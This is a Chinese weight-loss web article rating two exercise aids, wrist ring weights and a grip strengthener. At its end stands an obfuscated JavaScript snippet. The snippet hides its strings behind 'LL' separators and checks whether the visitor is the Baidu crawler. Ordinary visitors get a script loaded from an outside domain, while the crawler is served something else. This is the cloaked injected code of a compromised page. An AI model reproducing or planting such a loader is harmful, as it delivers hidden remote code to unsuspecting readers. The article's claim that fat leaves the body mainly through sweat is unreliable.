當(dāng)前位置:首頁 > 減肥 > 運動減肥 > 正文

運動減肥減肥方法有什么?

2017-04-23 10:59:41  來源:360常識網(wǎng)   熱度:
導(dǎo)語:很多人為了能夠塑身瘦身,都不惜服用一些減肥藥,可是這種方法對人體健康的隱患還是很大的,而且也很容易反彈。其實在各種科學(xué)的減肥方法中

很多人為了能夠塑身瘦身,都不惜服用一些減肥藥,可是這種方法對人體健康的隱患還是很大的,而且也很容易反彈。其實在各種科學(xué)的減肥方法中,運動鍛煉就是不錯的選擇,而且可供大家選擇的運動方式非常多,只要能夠長期堅持運動,效果還是不錯的,那么運動減肥減肥方法有什么?

一、甜甜圈

甜甜圈的作用和啞鈴一樣是多功能的,只是重量更輕,可以直接套在手腕上,除了使用方便以外,做起來也不太容易累。跑步、走路時都可以戴,甚至穿稍長一點的衣服時把它稍稍藏在衣服里,走路時偷偷瘦身也沒有人會發(fā)現(xiàn)哦!

優(yōu)點:直接套在手腕上,不會有運動傷害。

缺點:幾乎沒有,有的話就是你懶惰的借口啦!

美體時間:1個動作做30下,然后休息1分鐘再做下1個回合,反復(fù)3個回合。

瘦身小訣竅:除了做手部運動,也可以套在腳上做抬腳動作。

減肥效果:★★★★★

實用耐久度:★★★★★

二、握力器

這是一種很常見的健身器材,最主要的作用在于訓(xùn)練手掌的握力、強化手肘的肌肉曲線,所以比較適用于男生。如果你需要的是緊實手肘肌肉的話,握力器就是一個很好的選擇,但是對于瘦手臂是沒有什么明顯效果的。

優(yōu)點:不占空間,使用方便。

缺點:沒有明顯的瘦身效果。

美體時間:依手部力量而定,從5下左右慢慢地循序漸進增加,一次不要握太多下,不然你會連拿筷子都手軟呢!

瘦身小訣竅:有事沒事就拿出來握一兩下,不知不覺你打人的力道會大得令人哇哇叫!

減肥效果:★

實用耐久度:★★★

通過上面的介紹,大家對運動減肥減肥方法有什么也都很清楚了。運動鍛煉原本就是用來健身的,當(dāng)運動到了一定量之后,體內(nèi)的脂肪就會迅速的燃燒掉,而且分解代謝的產(chǎn)物也會通過汗液的方式排出來,自然就能在健身的同時達到瘦身的效果了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}